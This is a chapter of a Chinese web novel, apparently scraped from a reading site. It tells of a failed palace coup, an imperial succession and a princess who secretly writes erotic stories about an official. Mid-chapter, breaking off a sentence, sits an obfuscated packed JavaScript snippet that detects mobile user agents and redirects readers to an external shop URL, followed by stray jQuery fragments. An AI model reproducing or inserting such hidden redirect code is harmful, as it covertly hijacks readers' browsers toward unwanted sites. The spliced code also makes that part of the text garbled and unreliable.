文趣网 > 其他小说 > 穿到首辅被羞辱后 > 67. 第 67 章
    看着坐在椅子上纹丝不动的皇帝,和他背后那个一脸不赞同的大皇子,二皇子大笑起来,手上的刀几番抖动。

    “父皇说什么呢?大哥劫持皇帝,意图谋反,我率禁军前来救驾!”

    大监神色愤怒,“二皇子你这是在逼宫!”

    皇帝捂着嘴,咳嗽声不断,目光直直盯着谋权篡位的二儿子。

    失望至极。

    大皇子望向自己从小看到大的弟弟,内心满是失望,他其实想过这个局面,但是当事情真的发生时,他依旧觉得不可置信。

    “小启,二弟,你现在收手还来得及,父皇不会对你如何的,回头是岸。”

    “邓由泽,你在这假惺惺说什么大话,我会替你照顾好你的母亲和妹妹的,逆贼且安心去吧。”

    二皇子不在废话,提起刀斩向大皇子,身后的侍卫围住皇帝。

    屋内气势汹汹,刀光剑影一触即发,只等待着血的挥洒。

    大皇子拔剑出鞘,将皇帝护至身后。

    一道破空声从暗处传来。

    大皇子手中的剑落到地上,有血珠从手腕上低落,他目眦欲裂盯着手腕上的伤口,一把暗器插在他的手腕。

    黑衣暗卫一个接一个从暗处现身,皇帝扭头看过去,有几个明显是他留给女儿的神机营成员,他此刻是既欣慰又着急。

    短兵相接的声音从屋外传来,厮杀声震天,二皇子神色惊恐看向屋外,猛地转头看着皇帝,“你们早就知道?诈我是吧!”

    禁军首领眼看局势不对,收好手里的武器,随时准备着。

    厮杀声逐渐平息,殿门大开,有人影从移进内殿。

    徐卓和赵思谦带着神策军统领进殿,神策军一拥而上扣押住二皇子,殿内的禁军见大势已去,全都丢掉手里的武器,跪了一地。

    几人跪在地上,“臣救驾来迟,望陛下恕罪。”

    一众文臣姗姗来迟,他们到的时候,殿内殿外都被收拾过,没有尸体横陈,只有血迹还没来得及处理,有人四目相对,彼此间交换眼神,他们之间有些人是被同僚强制拉过来的。

    皇帝看着他们,“你们来得正好,今日我有要事宣布。”

    一群人哗啦啦跪下,大皇子领先跪在最前方,他们等待着皇帝的宣判。

    大监拿出找一准备好的圣旨,宣布着皇帝的最终旨意。

    第一封是二皇子意图谋反,勾结禁军逼宫,贬为庶人幽禁终身。

    第二封是皇帝退位大皇子继位。

    第三封则是册封贵妃为皇后。

    一切尘埃落定,太上皇不愿再面对这些,将新帝与其他朝臣全部赶出书房。

    踏出书房,赵思谦问新帝,丹阳公主何在,可有受伤。

    新帝看着眼前这位心腹大臣,露出这天的第一个笑容,“小由在乾清宫陪着母后,重兵把守,自然不会有事,文举你这是担心则乱。快去吧,看你急得。”

    得了允许,赵思谦提着官袍,跨步往乾清宫的方西跑去。

    新帝摇头,“哎,我的爱卿这在这时刻想的第一位居然不是我,这太令人心寒了。”

    *

    乾清宫内,冬雪陪着邓由简。

    “殿下,我出去打听过了,皇上和大殿下没受一点伤,他们和我说当时可惊险,刀光剑影严相逼,这时候一位俊朗的男子带着救兵从天而降……”

    有好信息从前边传来后,冬雪从外面问到好多小道信息,她润色一番就讲给公主听。

    有侍女此刻入内通传,赵大人前来。

    冬雪停下说话,她笑意盈盈看着公主,捂嘴打趣,“殿下,我们丰神俊朗的救兵大人来啦。”

    邓由简佯装恼怒,不轻不重瞪了冬雪一眼,随后站起身往殿门外走去。

    贵妃在安全之后就回到了自己的宫殿中,她还需要安抚后妃,就留邓由简一人在这等皇帝他们。

    从屋内到屋外,只有几步路的距离,邓由简却想过很多,皇帝和大哥他们情况怎么样,赵思谦有没有受伤?

    看到赵思谦完好的身影,邓由简这才松了一口气。

    赵思谦这两年出落得更加出色,政绩斐然,身上气质比起两年前多了沉稳,还是一样的正直可靠。

    她几步走到赵思谦面前,她有太多话想问,最后只问众人的情况如何。

    赵思谦躬身标准行礼,抬起头后将所有的情况简单说出来。

    “宫门就要落锁,殿下,我们一同回去?”他盛情邀请。

    赵思谦几个月之前搬到公主府所在的区域,两座府邸之间隔得不太远,从皇宫回府刚好顺路。

    两人并肩往宫门走,底下的人不近不远跟在他们身后。

    行走在狭长的宫道之间,邓由简觉得身侧的赵思谦存在感极强,和之前同大皇子一起走有着不一样的感受。

    她侧头凝视着专心走路的赵思谦,眼神扫过他精致的侧颜,很快收回视线。

    低下头,邓由简思绪万千,下回再走这条路进皇宫,赵思谦就会是无限趋近赵首辅赵大人了。

    她有一种自己养了许久的粮食,每天辛苦浇水施肥,还时不时给他写一点能够震惊后世的野史文学,终于到了可以收获的时节。

    或者说,她看好的良木幼苗终于长到可以施展自己抱负的日子。

    最重要的是,她彻底逃开历史上早死陈尸的局面了,她彻底free。

    如今赵大人要高升,限制文大业只能遗憾落幕,找个好时间去南方旅居(跑路)。

    赵思谦余光一直关注着公主,察觉到她的目光之后就收回余光,只看着脚下的路。

    邓由简的眼神离开之后,赵思谦这才转过头盯着旁边低头的人,眼神黏腻缠绵,只是她好像一无所知。

    殿下,一切都快准备好了,我终于有资格站在你的身边。

    殿下,你想要的一切幻想,我都会为你一一实现,我会比书里做得更好。

    殿下新增的每一篇,他都了如指掌,从每一个动作中揣摩她喜好的动作,他会给殿下最好的鼻舌和手指。

    不久后,大皇子举行登基盛典,太上皇带着太上皇后前往行宫养病。

    邓由简晋封护国长公主,赐封地,一时间,公主府成为整个京城都想去的香饽饽。

    赵思谦等心腹嫡系,各有晋升。

    赵思谦擢升户部侍郎,入内阁,徐卓担任首辅。

    徐卓年岁已高,即便再有能力过不了几年就会退下来,明眼人都知道,赵思谦不出意外就是这位的接班人。

    公主府每日都要收到一摞拜帖,邓由简从里面挑着有趣的拜帖,赵思谦自从晋升以后,好像有什么事情要做,来找她的次数屈指可数。

    她问冬雪来福他们,问不出来什么,只说新帝登基要务堆积,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786257|202515||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    赵思谦公务繁忙。

    找不到人,她只好自己找好玩的。

    邓由简接了荀闵的赏诗请帖,荀闵如今已是女史馆的检讨,她对荀家还是很好奇的,荀闵的一位兄长续弦了一位带着十几岁女儿的寡妇。

    她对这位新妇很好奇,到底长得多好看多有才华,才能让荀家的男子求娶。

    荀闵带着荀家上下迎接公主车驾。

    邓由简下车,扫过一群人,从中看到了一对极为亮眼的母女,她凭借直觉认为这就是那位新妇。

    荀家花园临湖建了一座阁楼,用于族中弟子交流文史,可以俯瞰花园所有的角色。

    这次招待公主就在这座修文阁。

    这次小宴的主题是评诗,邓由简面前摆着一排诗作,主题各不相同。

    其中最为大气的,自然是荀闵的,这位荀氏小姐如今分管着荀氏不少的族务。

    还有一首相当灵气的小诗,写的是荷花玉兰,邓由简把这张挑了出来。

    荀闵挪过来一看,“原来是这张,写荷花玉兰的,这是族里的小妹写的,就是我新嫂嫂带进来的那个小女孩,叫穆芸。”

    邓由简问,荀家真有那么好看的荷花玉兰?

    荀闵当即带着人去了荷花玉兰最多的地方。

    穆昀的小院里和小院外边长着最好的玉兰,一行人还未走近便能闻到浓郁的花香。

    邓由简走进的时候,已有荀家仆人带着刚折下来的花束等候在树下。

    她接过呈上来的花朵,玉兰开得正好,洁白细腻,厚厚的花瓣比竹纸更为硬挺。

    有吵闹声打碎了赏花的氛围。

    “我是你的兄长!你怎么可以写这种禁书,还是以我为主角,穆昀,你到底在想些什么,你到底有没有把我当成长辈?”

    “兄长我没有,这些都不作数,只是随便写的。”

    “那荀子明这几个字是怎么回事?荀府除了我还有谁是这个名字。”

    ……

    争吵时不断,邓由简听得冷汗直流,这不就是有人写了限制文,结果被正主给逮到了吗?

    荀闵将她引走,不断抱歉,“殿下,实在不好意思,让你听了这一段丑事。”

    邓由简扫了眼荀闵的表情,从她脸上看不出什么,荀闵傲气,但是其他地方比如文人风骨这一点和赵思谦很像,邓由简觉得可以试探一下。

    “你们这种事一般怎么处理?”

    “有伤风化之事,更何况涉及到了我侄儿,自然是受家法,其余的交给苦主自己决定。”

    从荀府回去之后,邓由简越想越不对劲,怎么偏偏就让她亲耳听到,写限制文被正主抓包的场景。

    这一定是上天给她的警示,说不定下一个暴雷的就是她自己了。

    她的眼神看向自己藏着赵大人限制文的书架一角,她觉得不安全了,事不宜迟,她现在应该带着这些宝贝去一个山清水秀的地方,然后继续写。

    但是一想到自己要离开京城,她又心里有点难受,好不容易可以安心不用管外界的事了,就要离开赵思谦离开京城。

    她让冬雪取过来去年冬天和赵思谦一起酿的酒,借酒浇愁。

    一杯杯佳酿入喉,邓由简觉得自己的忧愁想蒲公英一样飞走了。

    半醉半醒之间,她听见有人敲门进来了。

    她抬头一看,是穿着湖绿色薄衫的赵思谦。